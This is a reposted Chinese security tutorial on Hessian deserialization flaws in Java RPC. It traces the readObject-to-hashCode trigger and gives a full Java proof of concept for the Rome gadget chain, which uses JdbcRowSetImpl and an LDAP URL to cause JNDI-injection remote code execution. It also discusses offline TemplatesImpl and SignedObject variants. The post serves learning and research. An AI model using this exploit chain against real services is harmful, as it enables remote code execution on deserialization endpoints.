网安宝典之Hessian 反序列化漏洞学习

admin 2022年9月15日23:51:21代码审计评论4 views5431字阅读18分6秒阅读模式

网安宝典之Hessian 反序列化漏洞学习

网安教育

培养网络安全人才

技术交流、学习咨询



环境搭建


关于 RPC:

1Remote Procedure Call Protocol,远程过程调用协议,和 RMIRemote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但 RPC 是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。
2


通讯过程:

11.客户端发起请求,并按照 RPC 协议格式填充信息
22.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
33.服务端接收到流后,将其转换为二进制格式文件,并按照 RPC 协议格式获取请求信息并进行处理
44.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回


maven 添加扩展:

1<dependency>
2    <groupId>com.caucho</groupId>
3    <artifactId>hessian</artifactId>
4    <version>4.0.63</version>
5</dependency>


漏洞分析


漏洞的触发点:HessianInput#readObject,由于 Hessian 会加你个序列化的结果处理成一个 Map,所有序列化的结果的 bytes 的第一个 byte 总为 M(77)。

网安宝典之Hessian 反序列化漏洞学习


接着调用 readMap 进行进一步解析,接着进入 getDeserializer,然后创建一个 HashMap 作为缓存,先将要反序列化的类作为 key 放入 HashMap 中

网安宝典之Hessian 反序列化漏洞学习

这里会调用 HashMap.put 方法,结合之前分析过的 CC 链,后续调用的 hash 函数能触发任意类的 hashcode 方法。

那么只需要找一条入口为 hashcode 的反序列化链即可。

1Rome
2XBean
3Resin
4SpringPartiallyComparableAdvisorHolder
5SpringAbstractBeanFactoryPointcutAdvisor


打 Rome


poc:

 1package moonflower.hessian;
2
3import com.caucho.hessian.io.HessianInput;
4import com.caucho.hessian.io.HessianOutput;
5import com.caucho.hessian.io.ObjectNameDeserializer;
6import com.rometools.rome.feed.impl.EqualsBean;
7import com.rometools.rome.feed.impl.ToStringBean;
8import com.sun.rowset.JdbcRowSetImpl;
9
10import java.io.ByteArrayInputStream;
11import java.io.ByteArrayOutputStream;
12import java.io.IOException;
13import java.io.Serializable;
14import java.lang.reflect.Array;
15import java.lang.reflect.Constructor;
16import java.lang.reflect.Field;
17import java.util.HashMap;
18
19public class Hessian_Rome {
20
21    public static <T> byte[] serialize(T o) throws IOException {
22        ByteArrayOutputStream bao = new ByteArrayOutputStream();
23        HessianOutput output = new HessianOutput(bao);
24        output.writeObject(o);
25        System.out.println(bao.toString());
26        return bao.toByteArray();
27    }
28
29    public static <T> T deserialize(byte[] bytes) throws IOException {
30        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
31        HessianInput input = new HessianInput(bai);
32        Object o = input.readObject();
33        return (T) o;
34    }
35
36    public static void setValue(Object obj, String name, Object value) throws Exception {
37        Field field = obj.getClass().getDeclaredField(name);
38        field.setAccessible(true);
39        field.set(obj, value);
40    }
41
42    public static Object getValue(Object obj, String name) throws Exception {
43        Field field = obj.getClass().getDeclaredField(name);
44        field.setAccessible(true);
45        return field.get(obj);
46    }
47
48    public static void main(String[] args) throws Exception {
49        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
50        String url = "ldap://localhost:9999/EXP";
51        jdbcRowSet.setDataSourceName(url);
52
53        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
54        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
55
56        HashMap hashMap = makeMap(equalsBean, "1");
57
58        byte[] s = serialize(hashMap);
59        System.out.println(s);
60        System.out.println((HashMap)deserialize(s));
61    }
62
63    // 用反射动态创建数组,防止在狗仔 gadget 的时候触发 put 方法导致 RCE。
64    public static HashMap<ObjectObject> makeMap (Object v1, Object v2) throws Exception {
65        HashMap<ObjectObject> s = new HashMap<>();
66        setValue(s, "size"2);
67        Class<?> nodeC;
68        try {
69            nodeC = Class.forName("java.until.HashMap$Node");
70        }
71        catch (ClassNotFoundException e) {
72            nodeC = Class.forName("java.util.HashMap$Entry");
73        }
74        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.classObject.classObject.class, nodeC);
75        nodeCons.setAccessible(true);
76
77        Object tbl = Array.newInstance(nodeC, 2);
78        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
79        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
80        setValue(s, "table", tbl);
81        return s;
82    }
83
84}



Rome 的 rce 过程:

网安宝典之Hessian 反序列化漏洞学习

进入触发点,接着调用 EqualBean 的 hashcode 方法

网安宝典之Hessian 反序列化漏洞学习

接着会触发 ToStringBean 的 toString 方法(这里就有很多其它延申了,比如可以接一个 CC5)

网安宝典之Hessian 反序列化漏洞学习

接着进入 JdbcRowSetImp 的 toString 方法,在其中会调用 JdbcRowSetImp 的 getter

网安宝典之Hessian 反序列化漏洞学习


网安宝典之Hessian 反序列化漏洞学习


当调用到 getDatabaseMetaData 的时候,会进入 connect 方法,进而调用 lookup 触发 jndi 注入。

网安宝典之Hessian 反序列化漏洞学习


网安宝典之Hessian 反序列化漏洞学习


不出网的失败打法


参考 CC2,在 ToStringBean.toString() 的地方能调用任意的 getter,正常的思路是可以利用 TemplatesImpl 的 getOutputProperties 方法实现任意类加载,但这个思路在 Hessian 反序列化中是不行的!!!

先回顾一下正常的 CC2,从 Transformer 开始,跟进到 getTransletInstance 中,并在其中实例化恶意 class。

网安宝典之Hessian 反序列化漏洞学习

顺着调用栈向上找,恶意 class 的生成在 defineTransletClasses 中实现:

网安宝典之Hessian 反序列化漏洞学习

注意这里的 _tfactory 是传入的 TransformerFactoryImpl(因为默认为 null,不传的话会直接触发异常)。

如果在 Hessian 反序列化中用 TemplatesImpl 代替 ROME 中的 jndi 注入,会在 toString 中调用 TemplatesImpl 的 getOutputProperties,但这里重点关注传入的关键参数

网安宝典之Hessian 反序列化漏洞学习

跟进具体的调用

网安宝典之Hessian 反序列化漏洞学习

同样跟进到 defineTransletClasses 中,但这里的 _tfactory 却为空

网安宝典之Hessian 反序列化漏洞学习

找一下 _tfactory 的定义发现 _tfactory 是用 transient 修饰的,序列化对象的时候,这个属性就不会序列化到指定的目的地中,所以最后为空,也合情合理。

网安宝典之Hessian 反序列化漏洞学习


但 CC2 为什么可以?原因是 TemplatesImpl 的 readObject 的最后一句直接 new 了一个 _tfactory(这也是为什么虽然王传的大部分 CC2 都要给 _tfactory 传参但不传也行的原因),而直接拼 Rome 的链子不会用到原生的 readObject,所以也不会实例化这个 _tfactory。

网安宝典之Hessian 反序列化漏洞学习


不出网的成功打法


利用了 java.security.SignedObject ,直接打二次反序列化即可。

网安宝典之Hessian 反序列化漏洞学习

具体的 payload 见 【HFCTF2022 ezchain】。

参考文献

https://goodapple.top/archives/1193

https://f002.backblazeb2.com/file/sec-news-backup/files/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html

https://su18.org/post/hessian/

网安宝典之Hessian 反序列化漏洞学习

文:moon_flower

原文链接:http://moonflower.fun/index.php/2022/05/28/336/

版权声明:著作权归作者所有。如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

网安宝典之Hessian 反序列化漏洞学习

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

网安宝典之Hessian 反序列化漏洞学习


我就知道你“在看”
网安宝典之Hessian 反序列化漏洞学习


原文始发于微信公众号(开源聚合网络空间安全研究院):网安宝典之Hessian 反序列化漏洞学习

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月15日23:51:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  网安宝典之Hessian 反序列化漏洞学习 http://cn-sec.com/archives/1297780.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: